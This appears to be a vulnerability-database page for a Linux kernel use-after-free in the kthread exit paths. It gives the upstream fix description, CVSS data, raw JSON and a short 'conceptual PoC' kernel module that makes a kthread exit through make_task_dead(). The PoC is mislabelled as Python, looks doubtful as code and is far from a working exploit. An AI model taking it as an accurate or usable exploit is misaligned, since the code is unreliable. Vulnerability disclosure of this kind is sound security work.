Security Vulnerability Report
中文
CVE-2026-43402 CVSS 9.8 CRITICAL

CVE-2026-43402

Published: 2026-05-08 15:16:52
Last Modified: 2026-05-11 08:16:13
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: kthread: consolidate kthread exit paths to prevent use-after-free Guillaume reported crashes via corrupted RCU callback function pointers during KUnit testing. The crash was traced back to the pidfs rhashtable conversion which replaced the 24-byte rb_node with an 8-byte rhash_head in struct pid, shrinking it from 160 to 144 bytes. struct kthread (without CONFIG_BLK_CGROUP) is also 144 bytes. With CONFIG_SLAB_MERGE_DEFAULT and SLAB_HWCACHE_ALIGN both round up to 192 bytes and share the same slab cache. struct pid.rcu.func and struct kthread.affinity_node both sit at offset 0x78. When a kthread exits via make_task_dead() it bypasses kthread_exit() and misses the affinity_node cleanup. free_kthread_struct() frees the memory while the node is still linked into the global kthread_affinity_list. A subsequent list_del() by another kthread writes through dangling list pointers into the freed and reused memory, corrupting the pid's rcu.func pointer. Instead of patching free_kthread_struct() to handle the missed cleanup, consolidate all kthread exit paths. Turn kthread_exit() into a macro that calls do_exit() and add kthread_do_exit() which is called from do_exit() for any task with PF_KTHREAD set. This guarantees that kthread-specific cleanup always happens regardless of the exit path - make_task_dead(), direct do_exit(), or kthread_exit(). Replace __to_kthread() with a new tsk_is_kthread() accessor in the public header. Export do_exit() since module code using the kthread_exit() macro now needs it directly.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (特定版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-43402 * This demonstrates the scenario where a kthread exits via make_task_dead(), * bypassing cleanup, leading to a UAF condition. */ #include <linux/kthread.h> #include <linux/delay.h> static struct task_struct *bad_kthread; static int kthread_func(void *data) { // Simulate work while (!kthread_should_stop()) { msleep(100); } // Vulnerable path: exiting via make_task_dead bypasses kthread_exit() // which normally calls kthread_complete_and_exit() cleaning up affinity_node. // In a real exploit, this might be triggered by a kernel panic or oops path. make_task_dead(SIGKILL); return 0; } static int __init init_vuln(void) { printk(KERN_INFO "Starting vulnerable kthread...\n"); bad_kthread = kthread_run(kthread_func, NULL, "vuln_kthread"); return 0; } static void __exit exit_vuln(void) { if (bad_kthread) kthread_stop(bad_kthread); } module_init(init_vuln); module_exit(exit_vuln); MODULE_LICENSE("GPL");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43402", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:51.670", "lastModified": "2026-05-11T08:16:12.913", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nkthread: consolidate kthread exit paths to prevent use-after-free\n\nGuillaume reported crashes via corrupted RCU callback function pointers\nduring KUnit testing. The crash was traced back to the pidfs rhashtable\nconversion which replaced the 24-byte rb_node with an 8-byte rhash_head\nin struct pid, shrinking it from 160 to 144 bytes.\n\nstruct kthread (without CONFIG_BLK_CGROUP) is also 144 bytes. With\nCONFIG_SLAB_MERGE_DEFAULT and SLAB_HWCACHE_ALIGN both round up to\n192 bytes and share the same slab cache. struct pid.rcu.func and\nstruct kthread.affinity_node both sit at offset 0x78.\n\nWhen a kthread exits via make_task_dead() it bypasses kthread_exit() and\nmisses the affinity_node cleanup. free_kthread_struct() frees the memory\nwhile the node is still linked into the global kthread_affinity_list. A\nsubsequent list_del() by another kthread writes through dangling list\npointers into the freed and reused memory, corrupting the pid's\nrcu.func pointer.\n\nInstead of patching free_kthread_struct() to handle the missed cleanup,\nconsolidate all kthread exit paths. Turn kthread_exit() into a macro\nthat calls do_exit() and add kthread_do_exit() which is called from\ndo_exit() for any task with PF_KTHREAD set. This guarantees that\nkthread-specific cleanup always happens regardless of the exit path -\nmake_task_dead(), direct do_exit(), or kthread_exit().\n\nReplace __to_kthread() with a new tsk_is_kthread() accessor in the\npublic header. Export do_exit() since module code using the\nkthread_exit() macro now needs it directly."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/28aaa9c39945b7925a1cc1d513c8f21ed38f5e4f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/4729c7b00a347fd37d0cbc265b85f2884c3e06b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5a591d7a5e48d30100943940a30a6ab41b15c672", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}